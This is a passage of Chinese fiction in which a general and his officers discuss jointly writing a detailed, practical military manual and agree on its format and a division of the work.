李伯通说道:“自古以来军中名将修书立传者不在少数,其中不乏大家名着被后世传颂至今,以将军的功绩和才华修一部兵家着作并不为过,将军不必自惭形秽。” “诶!李刺史说的对呀。将军您要是写一本兵书一定不会比那些个那辈子人写的差,更何况那些个兵书我老武……大老粗一个,好些个都看不懂,要是将军您写一本兵书出来,我一定看得懂。再说了,就算我脑袋瓜不好使,我不是还能跑过来问您嘛。嘿嘿嘿……。” 武俊山拍着胸脯说的兴高采烈,手舞足蹈的。 杨笑:“武将军说的正是我与大家通过这本兵书想要解决的问题。” 众人闻言齐齐“哦”了一声,全都打起了精神,互相对望一眼后全都将目前投了过来。显然杨笑的话引起了大家极大的兴趣。 “不知将军想要写一本怎样的兵书呢?”王燕兴问道。 “自我奉读历代兵家着作以来就发现一个不知算不算问题的问题,那就是自古以来的兵家着作多是讲一些宏观,宽泛的道理,少有讲实际操作方法的,让人读起来难免有空洞之感,难以很好的理解书中精髓,甚至后世很多释读者都是自说自话,更有相互矛盾者。” 杨笑说到兴起处起身离座,走到众人身边与大家一同交流起来。 “所以我想要写出一部不讲那些务虚的大道理,只讲一些实实在在的,真刀真枪的兵书来。” “比如说如何行军打仗,如何排兵布阵,什么样的地形适合什么样的攻防措施,怎样埋锅造饭,更甚至要具体到一兵一卒的甲胄穿戴,各式兵器的使用维护等等等等,总之只要是事关军中事务的,事无巨细,能说到的尽量一一说到。” “当然,这样一本事项繁琐兵家着作靠我一个人是写不出来的,所以把大家叫过来,咱们一起商量一下。” “当然了,我这也只是有这么个不太成形的想法,成与不成还是要看大家了。不知诸位将军意下如何呢?” 李伯通闻言一拍桌面,起身着:“好呀!将军这个想法甚好,甚好啊!这要是成了必将是一部旷古绝今,流传后世的兵家大作呀!” 马致远微微皱眉说道:“将军的这个想法确实不错。但常言道,兵无常势,水无常形。后世之人难免会演变出不同样式的战法战术,甚至各色兵器盔甲,我们基于眼下编着出来的内容又怎样适应后世的战场条件和形式呢?” 杨笑道:“马将军的话是真正的说在了重点上,不知马将军可有具体的解决方法?” 马致远略思索了一下,回道:“不如我们吧这部兵书分成两个部分,一部分讲兵中策论,一部分讲具体规范,这样一来既能为今人所用,又能为后世指导。” 呼延灼点头道:“依我看最好能把两者结合掺杂到一起,免得后人觉得上半部有用就留下,后半部作用不大就舍弃失传。” 韩元吉接着说道:“不如以一问一答的形式写出来,通俗易懂,大家读起来也知道每一段解决的是什么问题。” 李伯通:“没错,我们还可以把关于具体事务的地方讲的具体些,把涉及到大道理大策论的地方可以只是指明方向,点到为止。这样一来理论和实际都有,后世之人才可以更好地理解和传承。我们还可以把其中的一部分成果提取出来汇编成我朝军中新的操典规范” 王燕兴笑道:“好家伙,一部书变成两部书了。” 杨笑听着众人你一言我一语的说着,越听越高兴,不由得拍手笑道:“真正是众人拾柴火焰高,这不就把事情一件件的都解决了。” 众人你一言我一语越说越有兴致,唯有武俊山老半天插不上一句话,只见他起身拍拍屁股,嘿嘿笑道:“诸位将军都是能文能武,都是让人竖大拇哥的人中龙凤。马战有你王燕兴王将军,水战有呼延灼呼延将军,中军参详谋划有李伯通、马致远二位将军,坚守城池有韩擒虎韩将军,呃……当然了,他生病了没有来。还有……你们……诶呀!大家都很厉害。不像我老武,大老粗一个,在这儿完全没什么用啊。将军,不如你们先在这儿聊着,我……我就先回去吧?” 杨笑伸出手指点了点武俊山,笑道:“你是馋酒了吧?谁说你没用的?大家也不要只在这里关起门来空谈,那些行军打仗时的细枝末节的事情,军中老卒才最有办法,最有发言权,咱们要多向他们请教才能把这本书写细,写真,免得被世人读过以后笑话我们。” 众人闻言皆称是。 众人又聊了一阵子,最后敲定了不少其中的关键事项,作了具体的分工,直到日近西山这才一一散去。